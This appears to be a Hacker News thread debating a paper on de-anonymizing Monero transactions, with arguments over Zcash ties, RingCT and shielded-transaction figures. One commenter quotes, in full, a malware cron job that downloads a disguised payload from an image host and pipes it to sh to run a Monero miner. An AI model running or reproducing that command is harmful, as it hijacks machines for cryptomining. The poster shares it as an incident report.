
80% of Monero Transactions Trivially De-Anonymized - indolering
https://ipfs.io/ipfs/QmWYTeggKeL8xBitA8uQWAaNDWfFrUHXAxBXkvmnisdDw7
======
pero
Intellectually and academically dishonest hitpiece by peddlers of a competing
cryptocoin.

That this subset of transactions is not safe is not news, nor is it even
original research - it was covered in research more than 2 years ago by The
Monero Project itself - and is something the project has addressed since and
is working to further improve even beyond the recommendations of this paper.

Lengthy discussion on reddit here:
[https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...](https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical_analysis_of_linkability_in_the/?utm_content=comments&utm_medium=hot&utm_source=reddit&utm_name=Monero)

~~~
chrispeel
Andrew Miller does not hide his ties to Zcash; I believe none of the other
authors are associated with Zcash. I do not think he needs to recuse himself
from academic study of competing currencies, just because he has loose ties to
Zcash.

Also, the authors do not hide the fact that the vulnerability is not new. Most
science is incremental; I haven't seen any evidence of 'academic dishonesty'.

~~~
lethos3
>The Zcash Foundation will now be endowed with 273,000 zcash, worth more than
$13m at press time. As part of the network’s rules, 10% of the
cryptocurrency’s mining rewards are automatically awarded to stakeholders.

>The four-person board of directors includes chair and president Andrew
Miller, associate director of the Initiative for Cryptocurrencies and
Contracts (IC3), and Matthew Green, assistant professor of computer science at
Johns Hopkins University.

Source: [https://archive.fo/BoxUe](https://archive.fo/BoxUe)

------
kyledrake
This response is interesting and worth a read: [https://word-
view.officeapps.live.com/wv/mWord.aspx?Fi=SD473...](https://word-
view.officeapps.live.com/wv/mWord.aspx?Fi=SD473062B43FF0AD33!17471&H=emul&C=5_810_BN1-SKY-
WAC-WSHI&ui=en-US&rs=en-US&wdo=2&wde=docx&wdp=7&su=5129708501881367859&ad=en-
US&sc=host%3d&cy=canary&ak=t%3D0%26s%3D0%26v%3D%21AKJyEh9d4Aknyp4%26aid%3D8f987af5%2D4638%2D482b%2D9630%2D94ae823ab424%26m%3Den%2Dus&wdMobileHost=2)

~~~
whyrusleeping
Any chance i could get that as a static document? It seems chrome on linux and
microsoft office online don't get along

~~~
sgp_
I wrote this. How would you prefer for it to be uploaded?

Another link:
[https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng](https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng)

~~~
whyrusleeping
That one worked better, thanks!

------
lumos-sora
I hope someone actually reads the original Monero Research Lab papers and sees
that those papers briefly allude to there being a problem and dismiss it as
being a theoretical problem when at the time of the report peoples drugs
purchases could and can still be traced. This is an empirical analysis - the
first of it's kind with a block explorer, the Monero people should be on their
knees thanking the authors of the paper. Instead they are burying their heads
in the sand, refusing to admit that they lied when they claimed back in
2015/16 that their currency was untraceable. I'm disgusted to see the flagrant
doublethink in the comments here, most people haven't even bothered to read
the paper or the MRL reports and are just spouting garbage they've heard via
fluffyass.

~~~
plasticmachine
You couldn't buy drugs with Monero until the end of 2016 when, coincidentally,
RingCT was hard-forked in and this paper's entire basis for existence
disappeared.

Also two of the Monero Research Lab papers both identify and quantify the
problem, and then suggest solutions to it. At no point do the papers dismiss
them as theoretical:
[https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large](https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large)

MRL-0001 is nearly 7000 words, the entirety of which is devoted to showing how
dangerous mixin-0 transactions are (ie. the bulk of this 'empirical analysis'
paper). MRL-0004 similarly consists of nearly 7000 words, although this time
they don't only have an entire section devoted to "traceability with zero mix-
in spending", but they cover knock-on effects of banning them ("change and
dust force zero mix spending"). They then identify further issues including
"temporal associations", "association by use of outputs within a transaction",
and "combinatorial attacks to reveal outputs".

The MRL-0004 paper provides a roadmap to defeating some of these by forcing a
minimum ring size, but notes that a perfect output selection strategy could
not (at the time as now) be determined. They note that "although we have
identified this security issue, we are not making formal recommendations yet
until we have further data to inform our choices".

Subsequent to that the Monero developers switched to a triangular distribution
for selection, and then more recently they added a %-of-outputs-must-be-recent
scheme (I can't recall what %). This, combined with the advent of RingCT, has
defeated the claims of the research paper. There is no double-think about
older transactions, because nobody could use them for anything of note, and it
was during a time when 'fluffyass' kept telling people not use buy Monero
(which I believe he continues to do).

------
socrates1024
Also see the complementary block explorer associated with the paper:
[http://monerolink.com/](http://monerolink.com/)

We found tens of thousands of transactions that included _ten or more mixins_
but could still be traced.

~~~
grapevines
Note: the code to extract this data has not been released to the public
alongside the paper.

------
nullc
Amiller, Figure 1 should show that the overwhelming majority of Zcash
transactions have the privacy properties of Bitcoin transactions (or worse).

No? It seems kind of imbalanced to have an analysis which emphasizes the
security compromises caused by older monero (pre-CT, pre minimum mixin count)
while ignoring the ongoing privacy flaw in Zcash usage in practice.

~~~
indolering
> should show that the overwhelming majority of Zcash transactions have the
> privacy properties of Bitcoin transactions (or worse).

Agreed, this should updated to specify that only transactions between shielded
addresses are protected. The point they are trying to make is that the
anonymity set between shielded addresses is that of all transactions in the
anonymous set. (FWIW, this is a pre-publication draft.)

> No? It seems kind of imbalanced to have an analysis which emphasizes the
> security compromises caused by older monero (pre-CT, pre minimum mixin
> count)

ZCash is pretty explicit about the difference between shielded and transparent
addresses....

However, the news here isn't about ZCash. Monero's main claim to fame is that
it has an "opaque" blockchain, but this isn't cryptographically ensured.
Instead, it relies on each client to create dummy transactions that mirror
real ones. That leaves Monero wide open to side channel attacks now and in the
future.

One would expect careful analysis and much more cautious language. Instead, it
looks like clients weren't even doing basic checks:

> We find that among Monero transaction inputs with one or more mixins, 62% of
> these are deducible, i.e. they can be incontrovertibly linked to the prior
> TXO they spend.

It's a solid piece of research and even if Monero fixes everything in this
upcoming release, that doesn't make this analysis any less worrying.

~~~
str4d
> ZCash is pretty explicit about the difference between shielded and
> transparent addresses....

This is an important point. Having two very distinct addresses (different
lengths, different prefixes, different RPC APIs) makes it very obvious to
users when they have the benefits of shielded transactions, and when they
don't. Thus users make an explicit choice to forgo privacy when they use
transparent addresses.

The problem of only 28% of transactions currently being shielded
([https://explorer.zcha.in/statistics/network](https://explorer.zcha.in/statistics/network)
[https://explorer.zcha.in/statistics/timeseries?hashrate=fals...](https://explorer.zcha.in/statistics/timeseries?hashrate=false&supply=false))
is a separate ecosystem problem, where usage of shielded addresses with third
parties (like wallets and exchanges) requires them to use new APIs, instead of
just interacting with the new block chain via the Bitcoin API. IIUC Monero has
also encountered these issues, and it is something we are both working on
improving.

~~~
sgp_
Sorry if I'm looking at the data wrong, but this chart suggests less than 5%
are shielded
[https://explorer.zcha.in/statistics/value](https://explorer.zcha.in/statistics/value)

Is the chart wrong?

~~~
whatwhatwha
Perhaps it could have something to do with termonology (%value vs
%transactions).

For value I get: 42588 / (891015+222753) = 3.8% Shielded Value / (Cumulative
Miner's Reward + Cumulative Founder's Reward)

Perhaps it is 28% of transactions are shielded worth only 4% of zec value?

~~~
daira
Note that the number of prior shielded transactions (not the proportion, and
not the value) is what is actually relevant to the privacy of new shielded
transactions. Roughly speaking, the privacy you get with Zcash is comparable
to what you would get with Monero _if_ you could use _all previous shielded
transactions_ (over 120000 of them, currently) as mixins. That's why the
criticisms of Zcash based on the percentage use of shielding (either by
transactions or value) are totally missing the point.

\-- Daira Hopwood (Zcash developer)

~~~
davidsarah
The number of note commitments can be found using 'zcash-cli
getblockchaininfo' and is currently 301068 commitments, i.e. 150534 JoinSplits
(so a bit more than the 120000 I said).

------
kovrik
What a coincidence!

Just today at work we've found malware on some of our servers. That malware
added this cron job:

 _/ 60 _ * * * curl
[http://img1.imagehousing.com/0/art-825604.jpg](http://img1.imagehousing.com/0/art-825604.jpg)
-k|dd skip=2316 bs=1|sh

If you execute that command (without | sh part) and save output into .sh
script, you'll see that it is running a miner (consuming lots of CPU) for this
Monero pool: xmr.crypto-pool.fr:3333

See: [https://www.sophos.com/en-us/medialibrary/PDFs/technical-
pap...](https://www.sophos.com/en-us/medialibrary/PDFs/technical-
papers/Cryptomining-malware-on-NAS-servers.pdf?la=en)

~~~
nyolfen
that's a clever little cron job

~~~
Matheus28
Yeah that's a neat way of hosting malware on someone else's servers. It seems
to also download a few binaries and put them in /tmp/ using the same trick.

------
Casseres
Disclaimer: I hold Monero

In my opinion, this is an attempt at smearing a better cryptocurrency
competing for the same recognition: true anonymity.

It could very well be the tip of a broader, coming attack. The developers of
other cryptocurrencies are spending money for marketing and acceptance into
exchanges, Monero is not.

They are willing to grease the wheels to success while Monero grows
organically instead. This may or may not be a problem for Monero. If they run
a smear-campaign on Monero, they could win with their inferior cryptocurrency.

There is a much better/detailed response to the claims made in the paper on
Reddit:

[https://www.reddit.com/r/Monero/comments/65pon8/monero_linka...](https://www.reddit.com/r/Monero/comments/65pon8/monero_linkability_paper_informing_those_outside/)

~~~
sebleon
Regardless of the veracity of your allegations, this paper is a sound
empirical analysis. It's a solid piece of research, and it's not surprising
that folks from a competing blockchain would be the first to unveil real
problems with Monero.

~~~
plasticmachine
No it isn't, the paper is a re-hash of the work that the Monero team
themselves put out in September 2014 and in January 2015.

[https://lab.getmonero.org/pubs/MRL-0001.pdf](https://lab.getmonero.org/pubs/MRL-0001.pdf)

[https://lab.getmonero.org/pubs/MRL-0004.pdf](https://lab.getmonero.org/pubs/MRL-0004.pdf)

------
Scambuster
Intellectually very dishonest, especially considering Zcash's Ceo (yes, that
actually exists) response on some twitter-'trolling':
[https://twitter.com/AeonCoin/status/854247126473228288](https://twitter.com/AeonCoin/status/854247126473228288)

I mean come on, it's OK to cherrypick xmr's blockchain and post sensationalist
and exaggerated tweets, but not Ok to do the same for Zcash...

Their academic integrity has obviously lost it from their financial
incentives. Will be very hard to 'trust' these guys again, wouldn't 'trust'
the 'trusted setup' that was needed for Zcash for a billion dollars now...

------
nubela
Hit piece guys, released by "director of ZCash" an hour before a scheduled
hard fork for Monero.

~~~
sebleon
What did you think about the empirical analysis from this paper?

~~~
codehalo
It is simply a hit piece. Most of the issues discussed have already been
considered by the monero devs and in fact, addressed. There is a reason why
the authors limited their considerations to transactions before the RingCT
update.

~~~
indolering
> There is a reason why the authors limited their considerations to
> transactions before the RingCT update.

No, they did not. The 80% figure comes from weaknesses of clients post RingCT
update.

~~~
codehalo
From the paper:

Applicability to current and future transactions using RingCT. The weakness
studied in this section is pri- marily a concern for transactions made in the
past, as transactions using the new RingCT transaction option are generally
immune.

~~~
indolering
The key phrase being "in this section" \- section 3 deals with the older
vulnerability while section 4 deals with RingCT transactions.

~~~
polarized
The section 3 vulnerability traces (aka "de-anonymizes") precisely no
transactions at all. It indicates that the probabilities across potential
outputs sources are biased, but does not offer any method at all to identify
any actual source.

The estimate of the bias given in the paper for the current default and
typical usage is that the most recent potential source has a probability of
45% instead of the ideal 20%. In fact this likely applies to 100% of current
transactions, not 80%.

This is a known issue, and not ideal, and the quantitative results in the
paper are helpful, but the paper does not show what you claim it shows.

~~~
snovv_crash
Yes, that's section 3. What about section 4?

~~~
polarized
Sorry my mistake. My comment was about Section 4, not Section 3.

RingCT is immune to the methods in Section 3 as stated in the last paragraph
of Section 3.

Section 4 does not trace any transactions. It identifies a probability bias
which make the ring sigs less efficient, but still functional.

------
arisAlexis
Copy from a monero dev answer on reddit:

Heuristic I not applicable to RingCT, so moving on...

Heuristic II is basically people sending a transaction to themselves and thus
creating 2 new txo's (amount and change). Then at some point people spend both
txo's in one transaction. This is something that can be avoided by just not
sending coins to yourself and by the wallet giving you a warning when you are
about to spend 2 txo's stemming from the same txo.

Heuristic III is basically the fact that the newest txo in a transaction is
likely the one that is being spent and can be prevented by people actually
keeping a small reserve of XMR and refilling this at random intervals. Don't
spend all your XMR all at once just after you received it.

------
placeybordeaux
That's a nice touch hosting it on ipfs.

~~~
mirimir
But ipfs.io is just the gateway.

I mean, this is the same document:

[https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQW...](https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQWAaNDWfFrUHXAxBXkvmnisdDw7)

------
arisAlexis
Sad there are so many upvotes for a previously solved/discussed issue

------
Etheryte
Please add [pdf] or something similar to the title, it's very annoying to
accidentally and unintentionally download a pdf on the phone.

